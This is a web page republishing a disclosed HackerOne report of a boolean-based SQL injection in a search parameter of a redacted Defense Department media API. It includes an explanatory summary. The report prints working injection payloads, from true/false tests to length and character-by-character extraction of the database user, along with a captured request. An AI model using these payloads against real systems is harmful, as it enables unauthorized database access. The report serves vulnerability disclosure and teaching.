Skip to content
SQL injection Disclosed report Intermediate

SqlInject at ██████

A search parameter in a media posters API endpoint was vulnerable to SQL injection. An attacker could use boolean-based techniques to extract the current database user and other database information.

appllite Follow

Originally disclosed on HackerOne

  • Triaged in 38 hours
  • Fixed in 10 days
  • Disclosed after 53 days

Description: Dear DoD, I found the injection at:https://██████/

** Steps to reproduce ** 1.open https://██████████/MEDIA/Posters

2.Type in the search box '

█████

3.After capturing packets through burp, the injection point is at searchText

GET /API/Evotiva-UserFiles/GetItemsServices/GetItems?itemId=27293&rootItemId=27293&sortExpression=LastModifiedOnDate%2Ctrue&searchText=&searchTags=&take=25&skip=0&page=1&pageSize=25 HTTP/1.1
Host: ███
Tabid: 1236
Sec-Ch-Ua: "Not.A/Brand";v="8", "Chromium";v="114", "Microsoft Edge";v="114"
Requestverificationtoken: V-hXssqxuHlRDyUEJbBTYFASgfr6bkOTeGgemYKdc0jsjPPEhri1fP1l-vJbcSyUMOYiXQ2
Sec-Ch-Ua-Mobile: ?0
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Moduleid: 9270
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://██████/MEDIA/Posters
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64;) Gecko/20100101 Firefox/20.0
Connection: close

4.proof of concept poc
The following is the poc for ture

')AND+22=22+AND+('NaXY'+LIKE+'NaXY

████████

5.The following is the poc for false

')AND+22=21+AND+('NaXY'+LIKE+'NaXY

██████

5.Get the current user length is 22

')AND+len(user)=22+AND+('NaXY'+LIKE+'NaXY

████

██████

6.Get users from the current database POC:

Please note! Among them, the fifth character is a special character, we need to match it by ascii code

')AND+ascii(substring(user,5,1))='92'+AND+('NaXY'+LIKE+'NaXY

The user who finally ran out was ** nase/svc.puub17.zp.safe **

█████

7.Here is a screenshot of sqlmap

█████

Impact

An attacker can obtain information from the database

System Host(s)

█████████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

Please see Description

Suggested Mitigation/Remediation Actions

Use parameterized statements, do not splice sql

The original report as published on HackerOne, by appllite. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the searchText parameter was concatenated directly into a SQL query instead of being passed as a bound parameter.

Impact

An attacker could obtain information from the database, including the current database user.

What the attacker needed

Access to the media posters page; ability to intercept HTTP requests

How it was found

  1. Open the media posters page.
  2. Enter a single quote in the search box.
  3. Capture the request in an intercepting proxy and note the searchText parameter.
  4. Send a true condition and a false condition to confirm the injection.
  5. Use length and substring checks to read the current database user.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web page sends a search term to the server, and the server puts that text directly into a database query. By sending special characters, the tester made the database answer true or false questions, which lets them slowly read out data such as the database username.

What is SQL injection?

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

SQL injection

The lesson behind this report.

Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.